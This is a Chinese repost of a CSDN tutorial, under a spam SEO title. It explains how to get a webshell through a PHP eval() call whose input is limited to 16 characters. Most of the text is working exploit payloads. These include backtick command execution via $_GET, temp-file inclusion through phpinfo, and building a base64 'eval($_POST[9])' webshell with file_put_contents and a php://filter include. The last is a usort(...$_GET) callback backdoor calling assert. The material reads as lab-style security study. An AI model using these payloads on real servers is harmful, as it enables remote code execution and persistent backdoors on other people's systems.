您的位置:首页 > 教育 > 培训 > 知名门户网站_表白网站在线生成免费_阿里关键词排名查询_学生个人网页制作成品代码

知名门户网站_表白网站在线生成免费_阿里关键词排名查询_学生个人网页制作成品代码

2025/4/20 22:05:17 来源:https://blog.csdn.net/nixiaoge/article/details/147277898  浏览:    关键词:知名门户网站_表白网站在线生成免费_阿里关键词排名查询_学生个人网页制作成品代码
知名门户网站_表白网站在线生成免费_阿里关键词排名查询_学生个人网页制作成品代码

php,eval函数参数限制在16个字符的情况下,如何拿到webshell?

<?php
$param = $_REQUEST['param'];
if (strlen($param) < 17 && stripos($param,'eval') === false && stripos($param,'assert') === false)
{eval($param);
}

一、`$_GET[1]`

使用:?param=echo `$_GET[1]`;&1=whoami

需要用Linux系统的环境,因为windows系统可能解析不了`小斜杠

二、include$_GET[1];

phpinfo();==>$FILES[file][tmp_name]==>include

这个技巧是怎么利用的呢

这个利用必须要一个phpinfo的一个界面

文件包含里要用

有phpinfo.php的页面

然后用脚本在phpinfo里不断上传post,垃圾数据,大型文件,然后让它生成临时文件

找到临时文件的位置,然后在1的这个位置输入进去

相当于include把这个文件包含进来了

在真实的环境下利用率不是很高,因为有需要有phpinfo.php页面

三、$_GET[1](N,P,8);

PD9waHAgZXZhbCgkX1BPU1RbOV0pOw        ---(写入N文件  )

base64解码是<?php eval($_POST[9]);

所以1是接的值是<?php eval($_POST[9]);

让include包含它去执行<?php eval($_POST[9]);

hua.php?1=file_put_contents&param=$_GET[1](N,P,8);

hua.php?1=file_put_contents&param=$_GET[1](N,D,8);

hua.php?1=file_put_contents&param=$_GET[1](N,w,8);

期待的结果是将(PD9waHAgZXZhbCgkX1BPU1RbOV0pOw)一个一个追加到N文件中

file_put_contents中有一个参数可以进行追加就是FILE_APPEND,

但是如果?1=file_put_contents&param=$_GET[1](N,P,FILE_APPEND);长度超过了限制

那这里怎么办呢,是否有其他的代替FILE_APPEND同样有追加的效果

php中c语言的底层代码数字8就是表示追加

为什么追加base64编码呢不直接追加<?php eval($_POST[9]);呢?

file_put_contents不能追加<字符

hua.php?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N

使用php://filter/的伪协议进行base64转码,然后用include包含文件来执行传参9 的值

这里用到1=file_put_contents是为了赋值,摆脱限长

file_put_contents是写文件

http://127.0.0.1/hua.php?1=file_put_contents&param=$_GET[1](N,P,8);

四、usort(...$_GET);

php5.6+变长参数==>usort回调后门==>任意代码执行

hua.php?1[ ]=test&1[ ]=phpinfo();&2=assert

那什么是变长参数?

使用 ... 运算符进行参数展开

目前usort可以接到(...$_GET)的传参,...$_GET可以传多个不同的传参

uksort(array &$array, callable $callback): true

前者是数组,后者是回调函数

用burpsuite

手动修改post请求需要加Content-Type:application/x-www-form-urlencoded

添加:param=usort(...$_GET);

php7.3的版本不可以使用动态的包含文件

用该url抓包hua.php?1[ ]=test&1[ ]=phpinfo();&2=assert

修改传参类型改为POST传参

这里post需要添加Content-Type:头部字段

请求后发现一句话解析成功

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com